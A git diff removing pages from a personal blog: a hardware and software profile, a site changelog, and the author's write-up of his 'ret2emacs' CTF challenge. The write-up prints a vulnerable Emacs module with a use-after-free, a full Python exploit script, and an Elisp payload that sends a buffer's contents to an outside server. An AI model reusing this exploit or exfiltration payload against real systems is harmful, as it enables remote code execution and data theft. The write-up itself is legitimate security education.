-I tried to pick up the electric guitar in 2020 as my "pandemic hobby", but stopped a few months in because I was incredibly burned out with school and couldn't even find the five minutes to practice.
-
-I love to /listen/ to music, though, especially when I'm exercising or working. Old punk rock, in particular. My favorite bands are the Descendents, Black Flag, and Minor Threat.
-
-** Technologies I Use
-
-My preferred software stack:
-
-| Operating System | Gentoo GNU/Linux |
-| initd | OpenRC |
-| Shell | Bash |
-| Window Manager | Awesome |
-| Text Editor | GNU Emacs |
-| Email Client | gnus |
-| Web Browser | eww, Mozilla Firefox |
-| Torrent Client | transmission |
-| Keyboard Remapping | xremap |
-| Version Control | git |
-| Hex Editor | radare2 |
-| Disassembler | Ghidra |
-
-Humorously, I went: awesomewm → i3 → dwm → exwm → stumpwm → awesomewm
-
-My Emacs configuration can be found [[https://git.sr.ht/~jakob/.emacs.d][here]].
-
-*** Machines (In-Commission)
-
-**** endseal (Workstation)
-
-I built this computer with my father when I was 12, and I still use it today. I've upgraded the graphics card and the RAM since then, but it's otherwise the same machine I had in middle school.
-
-| Hardware | Custom |
-| • CPU | Intel® Core™ i5-2500 CPU @ 3.30GHz |
-| • GPU | AMD Radeon RX 460 Graphics (POLARIS11) |
-| • RAM | 16GB DDR3 |
-| Operating System | Gentoo GNU/Linux |
-
-**** stellarwind (Laptop)
-
-My newest machine, and my daily driver for getting things done when I'm on the go (which constitutes most of my time these days). I'm a big fan of it. A fully-charged battery lasts several hours and it sports a powerful processor, all while being lightweight and quiet. I suspect it's a bit more powerful than endseal.
-
-| Hardware | ThinkPad™ T495s |
-| • CPU | AMD® Ryzen™ 5 PRO 3500U @ 3.70GHz |
-| • GPU | AMD® Radeon™ Vega 8 Graphics |
-| • RAM | 16GB DDR4 |
-| Operating System | Gentoo GNU/Linux |
-
-**** forte (Mobile Workstation)
-
-For extended trips away from my apartment, I have this mini-PC I put together. It's made me think a lot about hardware, since I spent only $300 on it, yet it's the most powerful machine I own currently.
-
-| Hardware | Custom |
-| • CPU | AMD® Ryzen™ 5 5560U @ 4.00GHz |
-| • GPU | AMD® Radeon™ Vega 6 Graphics |
-| • RAM | 12GB DDR4 |
-| Operating System | Gentoo GNU/Linux |
-
-**** kandik (Cellphone)
-
-Daily driver. It's an older phone but it runs PostmarketOS well and it's far more powerful than the PinePhone.
-
-| Hardware | OnePlus 6T |
-| • CPU | 4 x Qualcomm Kryo cores @ 2.8 GHz + 4 x Qualcomm Kryo cores @ 1.8 GHz |
-| • GPU | Qualcomm Adreno 630 |
-| • RAM | 6GB LPDDR4X |
-| Operating System | PostmarketOS (Phosh) |
-
-**** misty (Server)
-
-This is the machine that runs all of the server-side scripts for this site, as well as my Pleroma instance.
-
-| Hardware | PINE64 ROCKPro64 |
-| • CPU | 4 x ARM Cortex A53 cores @ 1.4GHz + 2 x ARM Cortex A72 cores @ 1.8 GHz |
-| • RAM | 4GB LPDDR4 RAM |
-| Operating System | Gentoo GNU/Linux |
-
-**** hypo (Access Point)
-
-This used to serve the purpose that misty serves now. It wasn't powerful enough. I've re-purposed it as a wireless access point for when I visit my parents.
-
-| Hardware | Raspberry Pi 3 Model B |
-| • CPU | Broadcom BCM2837 @ 1.2GHz |
-| • RAM | 1GB LPDDR2 SDRAM |
-| Operating System | Gentoo GNU/Linux |
-
-**** corona (Media Center)
-
-This was the laptop I lugged around with me in high school and college. It's absurdly heavy and large, and has an awful battery life, but it sports some decent hardware so I'm using it as a [[https://kodi.tv/][Kodi]] and [[https://www.retroarch.com/][RetroArch]] box.
-
-| Hardware | Lenovo Y50 |
-| • CPU | Intel® Core™ i7-4700HQ @ 2.4 GHz |
-| • GPU | NVIDIA® GTX-860M |
-| • RAM | 8 GB DDR3 |
-| Operating System | Gentoo GNU/Linux |
-
-It saw a lot more use when I was living in Providence and my kitchen opened up into the living room. I'd use it to watch YouTube while I cooked or did dishes.
-
-*** Other
-
-For my home network, I have a TP-Link AC1750 Archer A7 running [[https://en.wikipedia.org/wiki/OpenWrt][OpenWRT]] hooked up to a NetGear CM1000.
-
-I wear a Casio DBC-611-1 everywhere I go.
-
-And I've got a handful of other random SBCs and retro hardware that I don't regularly use:
-
-- SeeedStudio BeagleBone Green
-- Raspberry Pi 2 Model B
-- Commodore 64
-- Commodore VIC-20
-- Nintendo Super Famicom
-- Nintendo 64
-- Sega Dreamcast
-
-*** Machines (Out-Of-Commission)
-
-**** whitecloud (Laptop)
-
-This was a fine daily driver for a little while. I eventually gave up on using
-it because of the weak battery controller, the buggy keyboard firmware that I
-couldn't re-flash, and eventually wanting to be able to do things more
-computationally-intensive than run GNU Emacs.
-
-| Hardware | Pinebook Pro |
-| • CPU | 4 x ARM Cortex A53 cores @ 1.4GHz + 2 x ARM Cortex A72 cores @ 1.8 GHz |
-| • GPU | ARM Mali T860 MP4 GPU |
-| • RAM | 4GB LPDDR4 RAM |
-| Operating System | Gentoo GNU/Linux |
-
-**** vela (Cellphone)
-
-The subject of [[https://jakob.space/blog/i-love-my-pinephone.html][this blog post]]. It was a great daily driver for almost a year, but I was really desiring something more powerful, and the Braveheart Edition I have has some really unsavory hardware issues.
-
-| Hardware | PINE64 Pinephone (Braveheart Edition) |
-| • CPU | Allwinner A64 @ 1.152 GHz |
-| • GPU | ARM Mali-400 MP2 |
-| • RAM | 2GB LPDDR4 RAM |
-| Operating System | PostmarketOS (Phosh) |
-
-** Other Bits and Pieces
-
-I'm a vocal supporter of open access and the free software movement. I'm an associate member of the [[https://www.fsf.org/][Free Software Foundation]] and I contribute to [[https://en.wikipedia.org/wiki/User:ZeroDaysForDays][Wikimedia]] and [[https://www.openstreetmap.org/user/Jakob%20Kreuze][OpenStreetMap]].
-
-I am a licensed (general class) ham, but I am rarely active. My callsign is KR3UZE.
diff --git a/org/pages/changelog.org b/org/pages/changelog.org
deleted file mode 100644
index abf046f..0000000
--- a/org/pages/changelog.org
+++ /dev/null
@@ -1,41 +0,0 @@
-* Site Changelog
-
-A record of any notable user-facing changes made to this website. For more detail, refer to the log of the [[https://git.sr.ht/~jakob/blog][Git repository]].
-
-** Sunday, December 24, 2023
-
-- Updated the header bar. I don't see the point in having a user-facing link to the Atom feed, since any reader software worth its weight will be able to pick up on my site having a feed automatically.
-
-** Monday, August 28, 2023
-
-- Updated comment UI.
-
-** Sunday, August 27, 2023
-
-- Fixed bug with comment reaction system where pressing the "react" button multiple times would lead to multiple selector widgets being created.
-
-** Saturday, August 12, 2023
-
-- Added cheesy rhymes to the user-facing status code pages.
-- Enabled partial API access for Tor and i2p visitors.
- - Comments received through these tunnels are marked as such.
-
-** Friday, August 11, 2023
-
-- Fixed custom error documents.
-- Stood up static content mirrors on [[http://jakobyallfrbd3herebyee7hug3hxs2ma6aflmmllk35d7dyiwp3adid.onion/][Tor]] and [[http://mtgqjdrqqpovyhx7tortulrnvakbptsi3w5yintmo6lqapdd3hnq.b32.i2p][i2p]].
-
-** Saturday, August 5, 2023
-
-- Began maintaining a changelog.
-- Pulled in [[https://pagefind.app/][pagefind]] for self-hosted search.
-- Updated [[https://en.wikipedia.org/wiki/Atom_(web_standard)][Atom]] feed to include only the first paragraph of the post in the == section.
- - This /drastically/ reduces the size of =feed.xml=. Hopefully it makes pulling a little less painful for those subscribed.
-- Re-implemented RSVP and gallery using server-side rendering.
- - These are features the typical reader would not have used. They're described in detail [[https://jakob.space/blog/pushing-haunt-to-its-limits.html][here]], but the short is that they're things I use for my meatspace friends.
-- Updated the [[https://jakob.space/pages/about-complete.html][long-form biographical page]].
- - Updated a couple of biographical details that were no longer accurate.
- - Now written in [[https://git.sr.ht/~jakob/blog/tree/master/item/org/pages/about-complete.org][Org]].
-- Updated the [[https://jakob.space/pages/about.html][short-form biographical page]].
- - Got rid of the "projects" section and my CTF team history.
-- Minor adjustments to the the front-matter of [[https://jakob.space/blog/pushing-haunt-to-its-limits.html][Pushing Haunt to Its Limits]].
diff --git a/org/ret2emacs/ret2emacs-overlay-demo.png b/org/ret2emacs/ret2emacs-overlay-demo.png
deleted file mode 100644
index 70c6c8e..0000000
Binary files a/org/ret2emacs/ret2emacs-overlay-demo.png and /dev/null differ
diff --git a/org/ret2emacs/umass-ctf-2022.org b/org/ret2emacs/umass-ctf-2022.org
deleted file mode 100644
index 8566f56..0000000
--- a/org/ret2emacs/umass-ctf-2022.org
+++ /dev/null
@@ -1,467 +0,0 @@
-#+TITLE: ret2emacs
-#+TAGS: writeup, capture-the-flag, emacs, binary-exploitation, heap-feng-shui
-#+DATE: <2022-04-14 Thu 21:44>
-
-It's that time of year again where I take some time to reflect on [[https://ctftime.org/event/1561][UMass CTF]].
-This is going to be shorter than last year's. I put out eight challenges, and
-I'm only going to be writing about one of them. Code, documentation, and
-write-ups for the others are available [[https://github.com/UMassCybersecurity/UMassCTF-2022-challenges][here]].
-
-* Use-After-Free in an Emacs Module
-
-=ret2emacs= was among our three unsolved challenges, and it had a disappointingly
-low volume of discussion over the weekend. That hurt, since it's the challenge I
-was most proud of, but someone asked for solution details post-competition so
-I'm given a reason to acknowledge that I made it.
-
-** Background
-
-Emacs might seem to be an unusual choice of target for a capture-the-flag
-challenge since it's "just" a text editor. However, there's a little-known
-package called [[http://rudel.sourceforge.net/][Rudel]] which enables collaborative editing over the network. The
-premise for the challenge was that you'd connect to a Rudel server where there
-was a bot watching =*scratch*=,[fn:1] and you had to insert some text that would
-trigger remote-code execution.
-
-I didn't hoard any 0days for this competition. The intended solution was to
-attack a vulnerable [[https://www.gnu.org/software/emacs/manual/html_node/elisp/Dynamic-Modules.html][Emacs dynamic module]] that was loaded in the bot's Emacs
-session.
-
-For the uninitiated, Emacs is extensible in a few ways. The primary mechanism
-for doing so is to use Emacs Lisp (Elisp), which is an interpreted[fn:2]
-scripting language. Emacs also has the capability to interoperate with native
-code in shared libraries, which we call "dynamic modules." Elisp can call into
-the code of dynamic modules and vice versa. It's similar to the FFI situation in
-most other scripting languages.
-
-The following is the (admittedly quite bad) Elisp code running on the bot's end.
-This is not the vulnerable part, but the background may be helpful in
-understanding the challenge.
-
-#+BEGIN_SRC elisp
-(defvar sixplayground-overlays '())
-
-(defun sixplayground-make-overlay (start end data-or-function)
- (let* ((overlay (make-overlay (car match) (cadr match)))
- (data (if (stringp data-or-function)
- data-or-function
- (funcall data-or-function))))
- (overlay-put overlay 'display (create-image data 'pbm t))
- (push overlay sixplayground-overlays)))
-
-(defun sixplayground-parse ()
- (save-excursion
- (set-buffer (get-buffer "*scratch*"))
- (dolist (overlay sixplayground-overlays)
- (delete-overlay overlay))
- (setq sixplayground-overlays '())
- (dolist (match (matches-in-buffer "\x1bP0;0;0q.*?\x1b\\\\"))
- (sixplayground-make-overlay (car match) (cdr match)
- (sixel-decode-string (buffer-substring (car match) (cadr match)))))))
-
-(defun matches-in-buffer (regexp &optional buffer)
- "return a list of matches of REGEXP in BUFFER or the current buffer if not given."
- (let ((matches))
- (save-match-data
- (save-excursion
- (with-current-buffer (or buffer (current-buffer))
- (save-restriction
- (widen)
- (goto-char 1)
- (while (search-forward-regexp regexp nil t 1)
- (push (list (match-beginning 0) (match-end 0)) matches)))))
- (reverse matches))))
-
-(defun sixplayground-on-post-command (&rest args)
- (when (buffer-modified-p (get-buffer "*scratch*"))
- (sixplayground-parse)
- (set-buffer-modified-p nil)))
-#+END_SRC
-
-Here's a summary of what's going on: =sixplayground-on-post-command= is like a
-callback -- it's called every time the buffer is edited. It's a wrapper around
-=sixplayground-parse=, which iterates over all substrings in the buffer that look
-like a series of [[https://en.wikipedia.org/wiki/Sixel][Sixel commands]] and converts them to "overlays", which are
-images that can be displayed in the editor's text area. The part that actually
-converts these substrings to image data is =sixel-decode-string=.
-
-#+CAPTION: Example of an overlay in Emacs.
-[[./ret2emacs-overlay-demo.png]]
-
-The song and dance of FFI initialization is omitted for brevity, but
-=sixel-decode-string= is implemented as the following C function. It returns an
-Emacs string.
-
-#+BEGIN_SRC c
-struct hash {
- uint32_t h0, h1, h2, h3;
-};
-
-#define CACHESZ 8
-static struct hash cache_identifiers[CACHESZ];
-static struct emacs_value_tag *cache[CACHESZ];
-static int inuse[CACHESZ];
-
-emacs_value decode_sixel(emacs_env *ENV, ptrdiff_t
- NARGS, emacs_value *ARGS, void *DATA)
-{
- assert(NARGS == 1);
-
- int pwidth, pheight, ncolors;
- unsigned char *palette;
- unsigned char *pixels;
-
- unsigned char *buf;
- ptrdiff_t len;
- if (!ENV->copy_string_contents(ENV, ARGS[0], NULL, &len)) {
- panic(ENV, "Failed to retrieve string length.");
- }
- if ((buf = malloc(len)) == NULL) {
- panic(ENV, "Failed to allocate buffer.");
- }
- if (!ENV->copy_string_contents(ENV, ARGS[0], (char *) buf, &len)) {
- panic(ENV, "Failed to retrieve string.");
- }
-
- md5(buf, len);
- for (int i = 0; i < CACHESZ; i++) {
- if (cache_identifiers[i].h0 == h0 && cache_identifiers[i].h1 == h1 && cache_identifiers[i].h2 == h2 && cache_identifiers[i].h3 == h3) {
- return cache[i];
- }
- }
-
- sixel_decode_raw(buf, len, &pixels, &pwidth, &pheight, &palette, &ncolors, allocator);
-
- ptrdiff_t output_len = 256 + 12 * (pwidth * pheight);
- char *output, *cur;
- if ((output = malloc(output_len)) == NULL) {
- panic(ENV, "Failed to allocate buffer.");
- }
-
- cur = output;
- cur += sprintf(cur, "P3\n%d %d\n255\n", pwidth, pheight);
- for (int i = 0; i < pheight * pwidth; i++) {
- cur += sprintf(cur, "%d %d %d\n",
- ,*(palette + pixels[i] * 3 + 0),
- ,*(palette + pixels[i] * 3 + 1),
- ,*(palette + pixels[i] * 3 + 2));
- }
-
- emacs_value ret = ENV->make_string(ENV, (char *) output, strlen(output));
-
- int sentinel = 0;
- for (int i = 0; i < CACHESZ; i++) {
- if (!inuse[i]) {
- sentinel = 1;
- cache_identifiers[i].h0 = h0;
- cache_identifiers[i].h1 = h1;
- cache_identifiers[i].h2 = h2;
- cache_identifiers[i].h3 = h3;
- cache[i] = malloc(sizeof(struct emacs_value_tag));
- cache[i]->v = *((void **)ret);
- inuse[i] = 1;
- break;
- }
- }
- if (!sentinel) {
- // Evict the whole cache, except for `i`.
- for (int i = 0; i < CACHESZ; i++) {
- /* cache_identifiers[j].h0 = 0; */
- /* cache_identifiers[j].h1 = 0; */
- /* cache_identifiers[j].h2 = 0; */
- /* cache_identifiers[j].h3 = 0; */
- free(cache[i]);
- inuse[i] = 0;
- }
- cache_identifiers[0].h0 = h0;
- cache_identifiers[0].h1 = h1;
- cache_identifiers[0].h2 = h2;
- cache_identifiers[0].h3 = h3;
- cache[0] = malloc(sizeof(struct emacs_value_tag));
- cache[0]->v = *((void **)ret);
- inuse[0] = 1;
- }
-
- free(buf);
- free(output);
- sixel_allocator_free(allocator, palette);
- return ret;
-
-}
-#+END_SRC
-
-If your eyes glazed over reading that, we're doing a couple of things. First and
-foremost, we're taking the =md5sum= of the input (which, in this case, is a string
-of Sixel commands). If we haven't seen the hash before, then we feed the input
-into [[https://github.com/saitoha/libsixel][libsixel]] to get some bitmap data, and then convert that bitmap data into an
-Emacs string containing a [[https://en.wikipedia.org/wiki/Netpbm][netpbm]] image... mostly for convenience, since it's a
-format readily accepted by Emacs. We also copy that resulting string onto the
-heap so that we can save it in our =cache=.[fn:3] If we /have/ seen the hash before,
-then we immediately return an Emacs object from the cache.
-
-** Vulnerability
-
-The vulnerability is outlined by the comments: we clear neither the heap
-pointers in the cache nor the hashes. So, if the cache were evicted and you
-inserted a Sixel image that had been cached prior to the eviction, the function
-would return a stale pointer.
-
-So, where do we go with this? Let's look at the signature for =sixplayground-make-overlay=:
-
-#+BEGIN_SRC elisp
-(defun sixplayground-make-overlay (start end data-or-function)
- ...
-#+END_SRC
-
-We pass the output of =sixel-decode-string= in as =data-or-function=. So if we can
-coerce =sixel-decode-string= into returning an Emacs function object, then that
-function will be called when the buffer is done being processed.
-
-Fortunately, it's fairly easy to construct a "function" that works, because
-Elisp is quite lenient in what it considers a function.
-
-#+BEGIN_SRC elisp
-(functionp 'eval-buffer) ; => t
-#+END_SRC
-
-If we can coerce =sixel-decode-string= into returning the symbol naming a
-function, then that function will be executed.
-
-Elisp objects are machine words where the type of the object is encoded in the
-least significant bits. The concept is similar to that of the [[https://en.wikipedia.org/wiki/Tagged_pointer][tagged pointer]],
-except that not all Emacs objects are pointers. Symbols, in particular, are just
-identified by non-descriptive integers whose three least significant bits are
-all =0=.
-
-#+BEGIN_SRC c
-enum Lisp_Type
- {
- /* Symbol. XSYMBOL (object) points to a struct Lisp_Symbol. */
- Lisp_Symbol = 0,
-
- /* Type 1 is currently unused. */
-
- /* Fixnum. XFIXNUM (obj) is the integer value. */
- Lisp_Int0 = 2,
- Lisp_Int1 = USE_LSB_TAG ? 6 : 3,
-
- /* String. XSTRING (object) points to a struct Lisp_String.
- The length of the string, and its contents, are stored therein. */
- Lisp_String = 4,
-
- /* Vector of Lisp objects, or something resembling it.
- XVECTOR (object) points to a struct Lisp_Vector, which contains
- the size and contents. The size field also contains the type
- information, if it's not a real vector object. */
- Lisp_Vectorlike = 5,
-
- /* Cons. XCONS (object) points to a struct Lisp_Cons. */
- Lisp_Cons = USE_LSB_TAG ? 3 : 6,
-
- /* Must be last entry in Lisp_Type enumeration. */
- Lisp_Float = 7
- };
-#+END_SRC
-
-It isn't too difficult to find the in-memory representation of a symbol using
-the dynamic module interface. Doing so is left as an exercise to the reader, as
-it's been long enough that I've discarded a lot of my solution material. The
-symbol I went for was =eval-buffer= for reasons you will soon see.
-
-The point about this being a non-descriptive integer rather than a pointer is an
-important one, though. This means that one need not concern herself with i.e.,
-ASLR to carry out the exploit.
-
-Once you have the in-memory representation of the symbol, you can encode it as a
-Sixel image using this Python function:
-
-#+BEGIN_SRC python
-import png
-from subprocess import Popen, DEVNULL, PIPE, STDOUT
-
-def data_to_sixel(data):
- w = png.Writer(4, 2, greyscale=False)
- p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
- w.write(p.stdin, data)
- p.stdin.close()
- try:
- p.wait(5)
- except Exception:
- exit(1)
- return p.stdout.read()
-#+END_SRC
-
-** Exploit
-
-When this is decoded by the module, we know that there will be a heap chunk
-/somewhere/ that contains the in-memory representation for our target symbol. Our
-goal is to do some [[https://en.wikipedia.org/wiki/Heap_feng_shui][heap feng shui]] such that a stale pointer in the cache points
-at this particular heap chunk. Then, we trigger a use-after-free, so that when
-=sixel-decode-string= is called, it will return this symbol object, thereby
-triggering the =or-function= path of =sixplayground-make-overlay=.
-
-This brings us to the solution. Like much of the other code in this article, it
-is not pleasing to look at, but it gets the point across.
-
-#+BEGIN_SRC python
-from base64 import b64encode
-from subprocess import Popen, DEVNULL, PIPE, STDOUT
-import struct
-import time
-import os
-import png
-import random
-
-EVAL_BUFFER=b"\x1bP0;0;0q\"1;1;4;2#0;2;0;0;0#1;2;0;0;0#2;2;1;1;1#3;2;1;1;1#4;2;2;2;2#5;2;2;2;2#6;2;2;2;2#7;2;3;3;3#8;2;3;3;3#9;2;4;4;4#10;2;4;4;4#11;2;4;4;4#12;2;5;5;5#13;2;5;5;5#14;2;5;5;5#15;2;6;6;6#16;2;6;6;6#17;2;7;7;7#18;2;7;7;7#19;2;7;7;7#20;2;8;8;8#21;2;8;8;8#22;2;9;9;9#23;2;9;9;9#24;2;9;9;9#25;2;10;10;10#26;2;10;10;10#27;2;11;11;11#28;2;11;11;11#29;2;11;11;11#30;2;12;12;12#31;2;12;12;12#32;2;13;13;13#33;2;13;13;13#34;2;13;13;13#35;2;14;14;14#36;2;14;14;14#37;2;15;15;15#38;2;15;15;15#39;2;15;15;15#40;2;16;16;16#41;2;16;16;16#42;2;16;16;16#43;2;17;17;17#44;2;17;17;17#45;2;18;18;18#46;2;18;18;18#47;2;18;18;18#48;2;19;19;19#49;2;19;19;19#50;2;20;20;20#51;2;20;20;20#52;2;20;20;20#53;2;21;21;21#54;2;21;21;21#55;2;22;22;22#56;2;22;22;22#57;2;22;22;22#58;2;23;23;23#59;2;23;23;23#60;2;24;24;24#61;2;24;24;24#62;2;24;24;24#63;2;25;25;25#64;2;25;25;25#65;2;25;25;25#66;2;26;26;26#67;2;26;26;26#68;2;27;27;27#69;2;27;27;27#70;2;27;27;27#71;2;28;28;28#72;2;28;28;28#73;2;29;29;29#74;2;29;29;29#75;2;29;29;29#76;2;30;30;30#77;2;30;30;30#78;2;31;31;31#79;2;31;31;31#80;2;31;31;31#81;2;32;32;32#82;2;32;32;32#83;2;33;33;33#84;2;33;33;33#85;2;33;33;33#86;2;34;34;34#87;2;34;34;34#88;2;35;35;35#89;2;35;35;35#90;2;35;35;35#91;2;36;36;36#92;2;36;36;36#93;2;36;36;36#94;2;37;37;37#95;2;37;37;37#96;2;38;38;38#97;2;38;38;38#98;2;38;38;38#99;2;39;39;39#100;2;39;39;39#101;2;40;40;40#102;2;40;40;40#103;2;40;40;40#104;2;41;41;41#105;2;41;41;41#106;2;42;42;42#107;2;42;42;42#108;2;42;42;42#109;2;43;43;43#110;2;43;43;43#111;2;44;44;44#112;2;44;44;44#113;2;44;44;44#114;2;45;45;45#115;2;45;45;45#116;2;45;45;45#117;2;46;46;46#118;2;46;46;46#119;2;47;47;47#120;2;47;47;47#121;2;47;47;47#122;2;48;48;48#123;2;48;48;48#124;2;49;49;49#125;2;49;49;49#126;2;49;49;49#127;2;50;50;50#128;2;50;50;50#129;2;51;51;51#130;2;51;51;51#131;2;51;51;51#132;2;52;52;52#133;2;52;52;52#134;2;53;53;53#135;2;53;53;53#136;2;53;53;53#137;2;54;54;54#138;2;54;54;54#139;2;55;55;55#140;2;55;55;55#141;2;55;55;55#142;2;56;56;56#143;2;56;56;56#144;2;56;56;56#145;2;57;57;57#146;2;57;57;57#147;2;58;58;58#148;2;58;58;58#149;2;58;58;58#150;2;59;59;59#151;2;59;59;59#152;2;60;60;60#153;2;60;60;60#154;2;60;60;60#155;2;61;61;61#156;2;61;61;61#157;2;62;62;62#158;2;62;62;62#159;2;62;62;62#160;2;63;63;63#161;2;63;63;63#162;2;64;64;64#163;2;64;64;64#164;2;64;64;64#165;2;65;65;65#166;2;65;65;65#167;2;65;65;65#168;2;66;66;66#169;2;66;66;66#170;2;67;67;67#171;2;67;67;67#172;2;67;67;67#173;2;68;68;68#174;2;68;68;68#175;2;69;69;69#176;2;69;69;69#177;2;69;69;69#178;2;70;70;70#179;2;70;70;70#180;2;71;71;71#181;2;71;71;71#182;2;71;71;71#183;2;72;72;72#184;2;72;72;72#185;2;73;73;73#186;2;73;73;73#187;2;73;73;73#188;2;74;74;74#189;2;74;74;74#190;2;75;75;75#191;2;75;75;75#192;2;75;75;75#193;2;76;76;76#194;2;76;76;76#195;2;76;76;76#196;2;77;77;77#197;2;77;77;77#198;2;78;78;78#199;2;78;78;78#200;2;78;78;78#201;2;79;79;79#202;2;79;79;79#203;2;80;80;80#204;2;80;80;80#205;2;80;80;80#206;2;81;81;81#207;2;81;81;81#208;2;82;82;82#209;2;82;82;82#210;2;82;82;82#211;2;83;83;83#212;2;83;83;83#213;2;84;84;84#214;2;84;84;84#215;2;84;84;84#216;2;85;85;85#217;2;85;85;85#218;2;85;85;85#219;2;86;86;86#220;2;86;86;86#221;2;87;87;87#222;2;87;87;87#223;2;87;87;87#224;2;88;88;88#225;2;88;88;88#226;2;89;89;89#227;2;89;89;89#228;2;89;89;89#229;2;90;90;90#230;2;90;90;90#231;2;91;91;91#232;2;91;91;91#233;2;91;91;91#234;2;92;92;92#235;2;92;92;92#236;2;93;93;93#237;2;93;93;93#238;2;93;93;93#239;2;94;94;94#240;2;94;94;94#241;2;95;95;95#242;2;95;95;95#243;2;95;95;95#244;2;96;96;96#245;2;96;96;96#246;2;96;96;96#247;2;97;97;97#248;2;97;97;97#249;2;98;98;98#250;2;98;98;98#251;2;98;98;98#252;2;99;99;99#253;2;99;99;99#254;2;100;100;100#255;2;100;100;100#0AAAB$#128@#193@#6@-\x1b\\"
-PAYLOAD=b"""
-(save-excursion
- (set-buffer (get-buffer "*flag*"))
- (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string)))
- (buffer-string))
-"""
-
-def data_to_sixel(data):
- w = png.Writer(4, 2, greyscale=False)
- p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
- w.write(p.stdin, data)
- p.stdin.close()
- try:
- p.wait(5)
- except Exception:
- exit(1)
- return p.stdout.read()
-
-
-def random4x2():
- return data_to_sixel(
- [tuple([random.randrange(0, 100) for _ in range(3 * 4)]),
- tuple([random.randrange(0, 100) for _ in range(3 * 4)])]
- )
-
-
-def emacs_exec(cmd):
- p = Popen(["emacsclient", "--eval", cmd], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT)
- try:
- p.wait(30)
- except Exception:
- exit(1)
- return p.stdout.read()
-
-
-def submit(data):
- b64encode(PAYLOAD + b"\n" + data)
- emacs_exec("""
- (progn
- (set-buffer (get-buffer "*scratch*"))
- (delete-region 1 (buffer-size))
- (insert (base64-decode-string \"{}\")))
- """.format(b64encode(PAYLOAD + b"\n" + data).decode()))
- resp = emacs_exec("(progn (set-buffer (get-buffer \"*scratch*\")) (buffer-string))")
- if b"FLAG" in resp:
- print(resp)
-
-daemon = Popen(["emacs", "--fg-daemon"], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT)
-time.sleep(3)
-
-# 0. Connect to the remote.
-emacs_exec("(rudel-join-session `(:transport-backend ,(rudel-backend-choose 'transport (lambda (backend) (rudel-capable-of-p backend 'listen))) :protocol-backend ,(rudel-backend-choose 'protocol (lambda (backend) (rudel-capable-of-p backend 'host))) :color \"Blue\" :username \"attacker\" :global-password \"\" :user-password \"\" :host \"34.136.139.6\" :port 6522 :encryption nil))")
-if b"nil\n" == emacs_exec("(rudel-unsubscribed-documents rudel-current-session)"):
- print("[a] Failed to connect...")
- daemon.kill()
- exit(1)
-litmus = emacs_exec("""
-(dolist (document (rudel-unsubscribed-documents rudel-current-session))
- (rudel-attach-to-buffer document (get-buffer "*scratch*"))
- (let ((connection (oref (oref document session) connection)))
- (rudel-subscribe-to connection document)))
-""")
-if b"ERROR" in litmus:
- print("[b] Failed to connect...")
- daemon.kill()
- exit(1)
-
-original_cache = []
-
-dump = PAYLOAD
-
-# 1. Populate the cache.
-for _ in range(8):
- dat = random4x2()
- original_cache.append(dat)
- dump += dat
-
-# 2. Evict the cache.
-dump += random4x2()
-
-# 3. _Some_ allocation between now and fully populating the cache will overlap
-# with the Emacs struct array. We don't necessarily know when, so pick random n.
-
-# n = random.randrange(0, 8)
-n = 0
-# for i in range(n):
-# dat = random4x2()
-# original_cache[i] = dat
-# dump += dat
-
-# 4. Submit the magic payload.
-dump += EVAL_BUFFER
-
-# 5. Overlap should be some random entry afterward...
-k = 5
-# k = random.randrange(n + 2, 8)
-# dump += original_cache[k]
-
-submit(dump)
-submit(original_cache[k])
-
-emacs_exec("(rudel-disconnect rudel-current-session)")
-print(f"n = {n}, k = {k}")
-daemon.kill()
-#+END_SRC
-
-I began by randomly choosing =n= and =k=. Trial and error led me to find that =n = 0,
-k = 5= was the most reliable choice of the two, so they are hard-coded. There is
-still some nondeterminism involved in the exploit, so you will have to run the
-exploit script several times before it is fruitful.
-
-Besides the heap feng shui and use-after-free described above, we are inserting
-some Elisp code to be executed by =eval-buffer= when we are successful. In
-particular:
-
-#+BEGIN_SRC elisp
-(save-excursion
- (set-buffer (get-buffer "*flag*"))
- (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string)))
- (buffer-string))
-#+END_SRC
-
-So after setting up a Bash script to run my exploit in a loop, all I needed to
-do was log into my home server, =tail -f= the logs, and crack open a beer.
-
-#+BEGIN_SRC prog
-jakob@[REDACTED] /var/log $ gunzip < [REDACTED] | grep UMASS
-www.jakob.space:80 [REDACTED] - - [31/Mar/2022:20:33:08 -0400] "GET /UMASS%7Bn0T_4_DUnk_0n_3M4c2_By_4nY_M34n2.._n3Xt_Y34r_will_b3_n30V1M%7D HTTP/1.1" 301 706 "-" "URL/Emacs Emacs/27.2.50 (X11; x86_64-pc-linux-gnu)"
-#+END_SRC
-
-* On the CTF as a Whole
-
-I don't have too much to say. I think the competition went well. Thanks to all
-who played.
-
-Despite all the burnout I was experiencing in the months leading up to the
-competition, the comments on the [[https://ctftime.org/event/1561/weight][weight voting]] made it worth it for me,
-especially hearing that folks liked the dumb game I spent months working on.
-
-I'm going off elsewhere for grad school now, but I'll continue to volunteer my
-time with the UMass Cybersecurity Club for the foreseeable future. I helped to
-sow the seeds, and now I have an opportunity to see things bloom.
-
----
-
-[fn:1] In Emacs, the principal data structure for storing editable text is the *buffer*. Each buffer has a unique name, and a buffer can either be tied to a file, or just be some ephemeral thing that only lasts as long as the Emacs session. =*scratch*= is a buffer that's open by default in Emacs, and it's of the latter "ephemeral" kind. The choice of buffer for the challenge was somewhat arbitrary. I went with =*scratch*= because it's known to nearly every Emacs user.
-
-[fn:2] Or JIT, if you're using the latest and greatest.
-
-[fn:3] This is where the challenge falls off the rails a bit in terms of realism. There's absolutely no reason to do this, and I posit it's unsafe to hold onto references in the C code at all since Emacs is a garbage-collected language. But I digress. Challenge design is an endless balancing act between "realistic" and "can be reasonably be solved in a weekend."
-
-# LocalWords: Rudel fn bot's Elisp FFI SRC elisp defvar
--
cgit v1.3